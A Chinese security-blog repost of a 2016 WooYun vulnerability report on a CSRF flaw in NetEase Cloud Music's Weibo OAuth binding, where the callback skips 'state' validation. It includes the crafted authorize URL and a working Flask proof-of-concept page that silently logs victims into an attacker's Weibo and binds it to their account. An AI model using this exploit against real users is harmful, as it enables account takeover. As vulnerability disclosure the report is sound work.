记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

点我的链接我就可能会进入你的网易云音乐

2016-03-04 15:50

网易云音乐的接口都用了Token来防止CSRF,然后百密一疏,在正常的微博的绑定接口中,分以下几个步骤走

1. 用户点击绑定按钮,向后台发起绑定的请求,GET /api/sns/authorize

2. 302到微博的授权页面:https://api.weibo.com/oauth2/authorize

3. 用户授权完成,回调到http://music.163.com/back/weibo,并带上了授权得到的Access Token

问题就出在最后一步中,虽然第二步的参数中带上了state的参数,但是经过验证这个参数好像没有好好用上,而且这个参数对于新浪微博的API来说不是必须的,引用一下新浪的文档:

code 区域
用于保持请求和回调的状态,在回调时,会在Query Parameter中回传该参数。开发者可以用这个参数验证请求有效性,也可以记录用户请求授权页前的位置。这个参数可用于防止跨站请求伪造(CSRF)攻击



那么问题就来了,步骤3没有验证回调的state的参数,也没有验证用户是否真的是自己发起了这个请求。在第一步如果有记录用户的状态的话,也是可以验证的。



具体攻击的过程

1. 用户登录了网易云音乐,点击了攻击者的链接

2. 在攻击者的页面中,主要过程是利用新浪微博的登录接口先登录攻击者的微博账号,注:攻击者的微博账号需要先授权给网易云音乐并关注,然后前端偷偷跳转到下面的地址,就可以将攻击者的微博账号绑定到用户的账号中

code 区域
https://api.weibo.com/oauth2/authorize?client_id=301575942&response_type=code&redirect_uri=http://music.163.com/back/weibo&scope=friendships_groups_read,statuses_to_me_read,follow_app_official_microblog



3. 攻击者利用自己的微博账号即可登录受害者的网易云音乐的账号

漏洞证明:

1.png



2.png



3.png





测试代码,pip安装一下requests, BeautifuSoup, Flask,改一下下面的微博账号和密码(记得需要先授权),然后访问一下即可:

code 区域
# -*- coding: utf-8 -*-



import requests

import re



from flask import Flask

from BeautifulSoup import BeautifulSoup



app = Flask(__name__)



login_weibo_form = u'''

<form action="http://login.weibo.cn/login/" method="post">

<input type="text" name="mobile" value="weibo_username"/>

<input type="text" name="%s" value="weibo_password"/>

<input type="text" name="remember" value="on"/>

<input type="text" name="backURL" value="http://weibo.cn/"/>

<input type="text" name="backTitle" value="微博"/>

<input type="text" name="tryCount" value=""/>

<input type="text" name="vk" value="%s"/>

<input type="submit" name="submit" value="登录" id="submit_btn"/>

<script> document.getElementById('submit_btn').click(); </script>

</form>

'''



@app.route('/login_weibo', methods=['GET'])

def login_weibo():

res = requests.get('http://login.weibo.cn/login/')

soup = BeautifulSoup(res.text)

password_name = soup.find('input', type='password')['name']

vk_value = soup.find('input', {'name': 'vk'})['value']

return login_weibo_form % (password_name, vk_value)





csrf_bind_weibo = '''

<iframe src="/login_weibo" sandbox="allow-forms allow-scripts"></iframe>

<script>

setTimeout(function() {

window.location.href = 'https://api.weibo.com/oauth2/authorize?client_id=301575942&response_type=code&redirect_uri=http://music.163.com/back/weibo&scope=friendships_groups_read,statuses_to_me_read,follow_app_official_microblog';

}, 2000);

</script>

'''





@app.route('/', methods=['GET'])

def steal_music_163():

return csrf_bind_weibo





if __name__ == '__main__':

app.run(host="0.0.0.0", port=80, debug=True)

修复方案:

你们应该比我专业

知识来源: www.wooyun.org/bugs/wooyun-2016-0170272

阅读:140936 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“点我的链接我就可能会进入你的网易云音乐”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云